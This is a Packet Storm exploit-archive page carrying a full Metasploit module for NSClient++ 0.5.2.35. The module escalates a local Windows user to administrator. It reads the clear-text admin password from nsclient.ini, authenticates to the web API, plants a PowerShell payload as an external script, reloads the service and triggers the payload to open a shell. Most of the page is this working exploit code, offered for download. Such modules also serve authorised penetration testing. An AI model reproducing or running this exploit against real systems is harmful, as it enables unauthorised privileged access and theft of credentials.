exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NSClient++ 0.5.2.35 Privilege Escalation

NSClient++ 0.5.2.35 Privilege Escalation
Posted Jul 6, 2021
Authored by bzyo, kindredsec, Yann Castel | Site metasploit.com

This Metasploit module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell. For this module to work, both the NSClient++ web interface and ExternalScripts features must be enabled. You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.

tags | exploit, web, shell
systems | windows
SHA-256 | 2f48ecb1ace9ab98da3fc097c685134fbbff745e68f82e7a48130c2319a63541

NSClient++ 0.5.2.35 Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
'Description' => %q{
This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
For this module to work, both the NSClient++ web interface and `ExternalScripts` features must be enabled.
You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
},
'License' => MSF_LICENSE,
'Author' =>
[ # This module is kind of mix of the two following POCs :
'kindredsec', # POC on www.exploit-db.com
'BZYO', # POC on www.exploit-db.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '48360'],
['EDB', '46802']
],
'Platform' => %w[windows],
'Arch' => [ARCH_X64],
'Targets' =>
[
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
)
)

deregister_options('RHOSTS')
register_options [
OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),
OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
]
end

def rhost
session.session_host
end

def configure_payload(token, cmd, key)
print_status('Configuring Script with Specified Payload . . .')

plugin_id = rand(1..10000).to_s

node = {
'path' => '/settings/external scripts/scripts',
'key' => key
}
value = { 'string_data' => cmd }
update = { 'node' => node, 'value' => value }
payload = [
{
'plugin_id' => plugin_id,
'update' => update
}
]
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

r = send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})

if !(r&.body.to_s.include? 'STATUS_OK')
print_error('Error configuring payload. Hit error at: ' + endpoint)
end

print_status('Added External Script (name: ' + key + ')')
sleep(3)
print_status('Saving Configuration . . .')
header = { 'version' => '1' }
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
end

def reload_config(token)
print_status('Reloading Application . . .')

send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/core/reload')
})

print_status('Waiting for Application to reload . . .')
sleep(10)
response = false
count = 0
until response
begin
sleep(datastore['DELAY'])
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/')
})
if r && !r.body.empty?
response = true
end
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end

count += 1
if count > 10
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
end
end
end

def trigger_payload(token, key)
print_status('Triggering payload, should execute shortly . . .')

send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri("/query/#{key}")
})
rescue StandardError
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end

def external_scripts_feature_enabled?(token)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/registry/control/module/load'),
'vars_get' => { 'name' => 'CheckExternalScripts' }
})

r&.body.to_s.include? 'STATUS_OK'
end

def get_auth_token(pwd)
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/auth/token?password=' + pwd)
})

if r&.code == 200
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
return auth_token
end
rescue StandardError => e
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end

def get_arg(line)
line.split('=')[1].gsub(/\s+/, '')
end

def leak_info
file_contents = read_file(datastore['FILE'])
return unless file_contents

a = file_contents.split("\n")
pwd = nil
web_server_enabled = false

a.each do |x|
if x =~ /password/
pwd = get_arg(x)
print_good("Admin password found : #{pwd}")
elsif x =~ /WEBServer/
if x =~ /enabled/
web_server_enabled = true
print_good('NSClient web interface is enabled !')
end
end
end
return pwd, web_server_enabled
end

def check
datastore['RHOST'] = session.session_host
pwd, web_server_enabled = leak_info
if pwd.nil?
CheckCode::Unknown('Admin password not found in config file')
elsif !web_server_enabled
CheckCode::Safe('NSClient web interface is disabled')
else
token = get_auth_token(pwd)
if token.nil?
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
elsif external_scripts_feature_enabled?(token)
CheckCode::Vulnerable('External scripts feature enabled !')
else
CheckCode::Safe('External scripts feature disabled !')
end
end
end

def exploit
datastore['RHOST'] = session.session_host
pwd, _web_server_enabled = leak_info
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
token = get_auth_token(pwd)

if token
rand_key = rand_text_alpha_lower(10)
configure_payload(token, cmd, rand_key)
reload_config(token)
token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
trigger_payload(token, rand_key)
else
print_error('Auth token couldn\'t be retrieved.')
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close